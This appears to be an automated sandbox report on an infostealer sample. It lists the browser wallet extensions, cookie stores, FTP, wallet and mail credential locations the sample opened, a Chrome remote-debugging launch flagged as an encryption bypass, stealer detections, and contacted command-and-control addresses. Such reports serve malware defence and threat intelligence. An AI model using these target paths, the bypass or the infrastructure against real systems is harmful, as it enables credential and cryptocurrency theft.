Source: C:\Users\user\AppData\Local\Temp\1005663001\d1e0007322.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ppbibelpcjmhbdihakflkdcoccbgbkpo
Source: C:\Users\user\AppData\Local\Temp\1005663001\d1e0007322.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aiifbnbfobpmeekipheeijimdpnlpgpp
Source: C:\Users\user\AppData\Local\Temp\1005663001\d1e0007322.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cookies.sqlite
Source: C:\Users\user\AppData\Local\Temp\1005663001\d1e0007322.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles
Source: C:\Users\user\AppData\Local\Temp\1005663001\d1e0007322.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nngceckbapebfimnlniiiahkandclblb
Source: C:\Users\user\AppData\Local\Temp\1005663001\d1e0007322.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ojggmchlghnjlapmfbnjholfjkiidbch
Source: C:\Users\user\AppData\Local\Temp\1005663001\d1e0007322.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ijmpgkjfkbfhoebgogflfebnmejmfbm
Source: C:\Users\user\AppData\Local\Temp\1005663001\d1e0007322.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\acmacodkjbdgmoleebolmdjonilkdbch
Source: C:\Users\user\AppData\Local\Temp\1005663001\d1e0007322.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\flpiciilemghbmfalicajoolhkkenfe
Source: C:\Users\user\AppData\Local\Temp\1005663001\d1e0007322.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nanjmdknhkinifnkgdcggcfnhdaammmj
Source: C:\Users\user\AppData\Local\Temp\1005663001\d1e0007322.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cjelfplplebdjjenllpjcblmjkfcffne
Source: C:\Users\user\AppData\Local\Temp\1005663001\d1e0007322.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\imloifkgjagghnncjkhggdhalmcnfklk
Source: C:\Users\user\AppData\Local\Temp\1005663001\d1e0007322.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jnlgamecbpmbajjfhmmmlhejkemejdma
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cookies.sqlite-shm	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1005663001\d1e0007322.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\opcgpfmipidbgpenhmajoajpbobppdil
Source: C:\Users\user\AppData\Local\Temp\1005663001\d1e0007322.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\blnieiiffboillknjnepogjhkgnoapac
Source: C:\Users\user\AppData\Local\Temp\1005663001\d1e0007322.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhmfendgdocmcbmfikdcogofphimnkno
Source: C:\Users\user\AppData\Local\Temp\1005663001\d1e0007322.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkddgncdjgjfcddamfgcmfnlhccnimig
Source: C:\Users\user\AppData\Local\Temp\1005663001\d1e0007322.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fcfcfllfndlomdhbehjjcoimbgofdncg
Source: C:\Users\user\AppData\Local\Temp\1005663001\d1e0007322.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\gaedmjdfmmahhbjefcbgaolhhanlaolb
Source: C:\Users\user\AppData\Local\Temp\1005663001\d1e0007322.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ilgcnhelpchnceeipipijaljkblbcob
Source: C:\Users\user\AppData\Local\Temp\1005663001\d1e0007322.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\phkbamefinggmakgklpkljjmgibohnba
Source: C:\Users\user\AppData\Local\Temp\1005663001\d1e0007322.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\oeljdldpnmdbchonielidgobddfffla
Source: C:\Users\user\AppData\Local\Temp\1005663001\d1e0007322.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\amkmjjmmflddogmhpjloimipbofnfjih
Source: C:\Users\user\AppData\Local\Temp\1005663001\d1e0007322.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mcohilncbfahbmgdjkbpemcciiolgcge
Source: C:\Users\user\AppData\Local\Temp\1005663001\d1e0007322.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lodccjjbdhfakaekdiahmedfbieldgik
Source: C:\Users\user\AppData\Local\Temp\1005663001\d1e0007322.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nknhiehlklippafakaeklbeglecifhad
Source: C:\Users\user\AppData\Local\Temp\1005663001\d1e0007322.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jgaaimajipbpdogpdglhaphldakikgef
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cookies.sqlite-wal	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1005663001\d1e0007322.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dlcobpjiigpikoobohmabehhmhfoodbb
Source: C:\Users\user\AppData\Local\Temp\1005663001\d1e0007322.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data
Source: C:\Users\user\AppData\Local\Temp\1005663001\d1e0007322.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bcopgchhojmggmffilplmbdicgaihlkp
Source: C:\Users\user\AppData\Local\Temp\1005663001\d1e0007322.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hifafgmccdpekplomjjkcfgodnhcellj

Tries to harvest and steal ftp login credentials

Source: C:\Users\user\AppData\Local\Temp\1005663001\d1e0007322.exe	File opened: C:\Users\user\AppData\Roaming\FTPGetter
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\FileZilla\recentservers.xml	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1005663001\d1e0007322.exe	File opened: C:\Users\user\AppData\Roaming\FTPInfo
Source: C:\Users\user\AppData\Local\Temp\1005663001\d1e0007322.exe	File opened: C:\Users\user\AppData\Roaming\SmartFTP\Client 2.0\Favorites
Source: C:\Users\user\AppData\Local\Temp\1005663001\d1e0007322.exe	File opened: C:\Users\user\AppData\Roaming\FTPbox
Source: C:\Users\user\AppData\Local\Temp\1005663001\d1e0007322.exe	File opened: C:\Users\user\AppData\Roaming\FTPRush
Source: C:\Users\user\AppData\Local\Temp\1005663001\d1e0007322.exe	File opened: C:\Users\user\AppData\Roaming\Conceptworld\Notezilla
Source: C:\Users\user\AppData\Local\Temp\1005663001\d1e0007322.exe	File opened: C:\ProgramData\SiteDesigner\3D-FTP

Tries to steal Crypto Currency Wallets

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\ElectronCash\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\MultiDoge\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\jaxx\Local Storage\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Binance\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Coinomi\Coinomi\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\Local Storage\leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\Session Storage\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\atomic_qt\config\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\atomic_qt\exports\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\Local Storage\leveldb\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1005663001\d1e0007322.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet
Source: C:\Users\user\AppData\Local\Temp\1005663001\d1e0007322.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet
Source: C:\Users\user\AppData\Local\Temp\1005663001\d1e0007322.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live
Source: C:\Users\user\AppData\Local\Temp\1005663001\d1e0007322.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb
Source: C:\Users\user\AppData\Local\Temp\1005663001\d1e0007322.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets
Source: C:\Users\user\AppData\Local\Temp\1005663001\d1e0007322.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets
Source: C:\Users\user\AppData\Local\Temp\1005663001\d1e0007322.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets
Source: C:\Users\user\AppData\Local\Temp\1005663001\d1e0007322.exe	File opened: C:\Users\user\AppData\Roaming\Binance
Source: C:\Users\user\AppData\Local\Temp\1005663001\d1e0007322.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB
Source: C:\Users\user\AppData\Local\Temp\1005663001\d1e0007322.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets
Source: C:\Users\user\AppData\Local\Temp\1005663001\d1e0007322.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets
Source: C:\Users\user\AppData\Local\Temp\1005663001\d1e0007322.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB

Tries to steal Mail credentials (via file / registry access)

Source: C:\Users\user\Desktop\file.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000001	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000002	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000003	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000004	Jump to behavior

Source: Yara match	File source: 00000014.00000003.2790110258.0000000000E40000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000014.00000003.2768205750.0000000000E40000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000014.00000003.2702112957.0000000000E40000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000014.00000003.2749628393.0000000000E40000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000014.00000003.2703641474.0000000000E40000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000014.00000003.2789248939.0000000000E40000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000014.00000003.2746214238.0000000000E40000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000014.00000003.2704648103.0000000000E40000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000014.00000003.2747654498.0000000000E40000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file.exe PID: 7304, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: d1e0007322.exe PID: 8020, type: MEMORYSTR

Remote Access Functionality

Attempt to bypass Chrome Application-Bound Encryption

Source: C:\Users\user\Desktop\file.exe

Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default"

Yara detected LummaC Stealer

Source: Yara match	File source: Process Memory Space: d1e0007322.exe PID: 8020, type: MEMORYSTR
Source: Yara match	File source: sslproxydump.pcap, type: PCAP

Yara detected Stealc

Source: Yara match	File source: 0000000D.00000002.2341575409.0000000000F01000.00000040.00000001.01000000.00000010.sdmp, type: MEMORY
Source: Yara match	File source: 0000000D.00000002.2341019305.0000000000C7E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000015.00000003.2695121940.0000000005690000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000015.00000002.2736567413.000000000184B000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000011.00000002.2491740211.0000000000F01000.00000040.00000001.01000000.00000010.sdmp, type: MEMORY
Source: Yara match	File source: 00000015.00000002.2735614002.0000000000F01000.00000040.00000001.01000000.00000010.sdmp, type: MEMORY
Source: Yara match	File source: 00000011.00000003.2448884433.0000000004C90000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.1672323842.00000000053F0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000D.00000003.2300326058.0000000004FA0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2075096888.0000000000D91000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2075634451.000000000191E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000011.00000002.2490263073.00000000007DB000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file.exe PID: 7304, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 4172e6dca8.exe PID: 5232, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 4172e6dca8.exe PID: 7320, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 4172e6dca8.exe PID: 2448, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

Yara detected Vidar stealer

Source: Yara match

File source: Process Memory Space: file.exe PID: 7304, type: MEMORYSTR

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C7D0C40 sqlite3_bind_zeroblob,	0_2_6C7D0C40
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C7D0D60 sqlite3_bind_parameter_name,	0_2_6C7D0D60
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6F8EA0 sqlite3_clear_bindings,	0_2_6C6F8EA0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C7D0B40 sqlite3_bind_value,sqlite3_bind_int64,sqlite3_bind_double,sqlite3_bind_zeroblob,	0_2_6C7D0B40
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6F6410 bind,WSAGetLastError,	0_2_6C6F6410
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6F6070 PR_Listen,	0_2_6C6F6070
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6FC050 sqlite3_bind_parameter_index,strlen,strncmp,strncmp,	0_2_6C6FC050
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6FC030 sqlite3_bind_parameter_count,	0_2_6C6FC030
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6F60B0 listen,WSAGetLastError,	0_2_6C6F60B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6822D0 sqlite3_bind_blob,	0_2_6C6822D0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6F63C0 PR_Bind,	0_2_6C6F63C0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6F9400 sqlite3_bind_int64,	0_2_6C6F9400
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6F94F0 sqlite3_bind_text16,	0_2_6C6F94F0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6F94C0 sqlite3_bind_text,	0_2_6C6F94C0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6F9480 sqlite3_bind_null,	0_2_6C6F9480

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	2 Windows Management Instrumentation	1 DLL Side-Loading	1 DLL Side-Loading	41 Disable or Modify Tools	2 OS Credential Dumping	1 System Time Discovery	Remote Services	1 Archive Collected Data	12 Ingress Tool Transfer	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Native API	1 Scheduled Task/Job	2 Bypass User Account Control	11 Deobfuscate/Decode Files or Information	LSASS Memory	2 File and Directory Discovery	Remote Desktop Protocol	4 Data from Local System	21 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	2 Command and Scripting Interpreter	11 Registry Run Keys / Startup Folder	1 Extra Window Memory Injection	4 Obfuscated Files or Information	Security Account Manager	248 System Information Discovery	SMB/Windows Admin Shares	1 Email Collection	1 Remote Access Software	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	1 Scheduled Task/Job	Login Hook	12 Process Injection	12 Software Packing	NTDS	871 Security Software Discovery	Distributed Component Object Model	Input Capture	3 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	1 PowerShell	Network Logon Script	1 Scheduled Task/Job	1 DLL Side-Loading	LSA Secrets	2 Process Discovery	SSH	Keylogging	114 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	11 Registry Run Keys / Startup Folder	2 Bypass User Account Control	Cached Domain Credentials	361 Virtualization/Sandbox Evasion	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	1 Extra Window Memory Injection	DCSync	1 Application Window Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	121 Masquerading	Proc Filesystem	System Owner/User Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	361 Virtualization/Sandbox Evasion	/etc/passwd and /etc/shadow	Network Sniffing	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement
IP Addresses	Compromise Infrastructure	Supply Chain Compromise	PowerShell	Cron	Cron	12 Process Injection	Network Sniffing	Network Service Discovery	Shared Webroot	Local Data Staging	File Transfer Protocols	Exfiltration Over Asymmetric Encrypted Non-C2 Protocol	External Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
file.exe	34%	ReversingLabs	Win32.Trojan.Generic
file.exe	39%	Virustotal		Browse
file.exe	100%	Avira	TR/Crypt.TPM.Gen
file.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Label
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Temp\1005663001\d1e0007322.exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\DocumentsFCFIJEBFCG.exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\random[1].exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Temp\1005664001\4172e6dca8.exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\1005663001\d1e0007322.exe	100%	Joe Sandbox ML
C:\Users\user\DocumentsFCFIJEBFCG.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\1005666001\081eb93126.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\random[1].exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\1005664001\4172e6dca8.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe	100%	Joe Sandbox ML
C:\ProgramData\freebl3.dll	0%	ReversingLabs
C:\ProgramData\mozglue.dll	0%	ReversingLabs
C:\ProgramData\msvcp140.dll	0%	ReversingLabs
C:\ProgramData\nss3.dll	0%	ReversingLabs
C:\ProgramData\softokn3.dll	0%	ReversingLabs
C:\ProgramData\vcruntime140.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe	34%	ReversingLabs	Win32.Trojan.Generic
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\freebl3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\mozglue[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\msvcp140[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\nss3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\softokn3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\vcruntime140[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\random[1].exe	39%	ReversingLabs	Win32.Infostealer.Tinba
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\random[1].exe	37%	ReversingLabs	Win32.Infostealer.Tinba
C:\Users\user\AppData\Local\Temp\1005663001\d1e0007322.exe	39%	ReversingLabs	Win32.Infostealer.Tinba
C:\Users\user\AppData\Local\Temp\1005664001\4172e6dca8.exe	34%	ReversingLabs	Win32.Trojan.Generic
C:\Users\user\AppData\Local\Temp\1005666001\081eb93126.exe	37%	ReversingLabs	Win32.Infostealer.Tinba

Source	Detection	Scanner	Label
https://www.youtube.c(	0%	Avira URL Cloud	safe
http://185.215.113.206/c4becf79229cb002.phpdx	100%	Avira URL Cloud	malware
http://185.215.113.206V	0%	Avira URL Cloud	safe
http://185.215.113.2065	0%	Avira URL Cloud	safe
https://marshal-zhukov.com/$	0%	Avira URL Cloud	safe
http://185.215.113.206/68b591d6548ec281/msvcp140.dllKmk	100%	Avira URL Cloud	malware
http://185.215.113.206/c4becf79229cb002.php/CK	100%	Avira URL Cloud	malware
https://cold-eu-fsn-2.gofile.io/download/web/e0a000c3-418c-4ce9-9bba-affc23d7af8a/decrypter.exe	0%	Avira URL Cloud	safe
http://185.215.113.206/c4becf79229cb002.phpyuI	100%	Avira URL Cloud	malware
http://185.215.113.206/c4becf79229cb002.php4x	100%	Avira URL Cloud	malware
http://185.215.113.206/c4becf79229cb002.php002	100%	Avira URL Cloud	malware
http://185.215.113.43/Zu7JuNko/index.phpb	100%	Avira URL Cloud	malware
https://marshal-zhukov.com/apik	0%	Avira URL Cloud	safe
https://marshal-zhukov.com/apil	0%	Avira URL Cloud	safe
https://login.steam	0%	Avira URL Cloud	safe
https://marshal-zhukov.com/apij	0%	Avira URL Cloud	safe
http://185.215.113.206/c4becf79229cb002.phpu	100%	Avira URL Cloud	malware
https://marshal-zhukov.com/apit	0%	Avira URL Cloud	safe
http://185.215.113.206/c4becf79229cb002.phpt	100%	Avira URL Cloud	malware
https://marshal-zhukov.com/apiY	0%	Avira URL Cloud	safe
https://marshal-zhukov.com/apiP	0%	Avira URL Cloud	safe
http://185.215.113.206/nSettingsC:	100%	Avira URL Cloud	malware
https://marshal-zhukov.com/apiU	0%	Avira URL Cloud	safe
https://marshal-zhukov.com/apiV	0%	Avira URL Cloud	safe
https://marshal-zhukov.com/apiO	0%	Avira URL Cloud	safe
http://185.215.113.43/Zu7JuNko/index.php.	100%	Avira URL Cloud	malware
https://marshal-zhukov.com/api:	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
steamcommunity.com	23.197.127.21	true	false	high
cold-eu-fsn-2.gofile.io	49.12.130.36	true	false	unknown
plus.l.google.com	172.217.16.142	true	false	high
play.google.com	142.250.184.206	true	false	high
gofile.io	45.112.123.126	true	false	high
www.google.com	142.250.186.100	true	false	high
marshal-zhukov.com	188.114.97.3	true	false	high
navygenerayk.store	unknown	unknown	false	high
presticitpo.store	unknown	unknown	false	high
founpiuer.store	unknown	unknown	false	high
scriptyprefej.store	unknown	unknown	false	high
thumbystriw.store	unknown	unknown	false	high
necklacedmny.store	unknown	unknown	false	high
apis.google.com	unknown	unknown	false	high
crisiwarny.store	unknown	unknown	false	high
fadehairucw.store	unknown	unknown	false	high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://185.215.113.206/	false		high
https://cold-eu-fsn-2.gofile.io/download/web/e0a000c3-418c-4ce9-9bba-affc23d7af8a/decrypter.exe	false	Avira URL Cloud: safe	unknown
fadehairucw.store	false		high
http://185.215.113.206/68b591d6548ec281/nss3.dll	false		high
founpiuer.store	false		high
185.215.113.206/c4becf79229cb002.php	false		high
https://steamcommunity.com/profiles/76561199724331900	false		high
https://apis.google.com/_/scs/abc-static/_/js/k=gapi.gapi.en.SGzW6IeCawI.O/m=gapi_iframes,googleapis_client/rt=j/sv=1/d=1/ed=1/am=AACA/rs=AHpOoo-5biO9jua-6zCEovdoDJ8SLzd6sw/cb=gapi.loaded_0	false		high
http://185.215.113.206/68b591d6548ec281/vcruntime140.dll	false		high
presticitpo.store	false		high
http://185.215.113.206/68b591d6548ec281/sqlite3.dll	false		high
http://185.215.113.206/68b591d6548ec281/mozglue.dll	false		high

URLs from Memory and Binaries

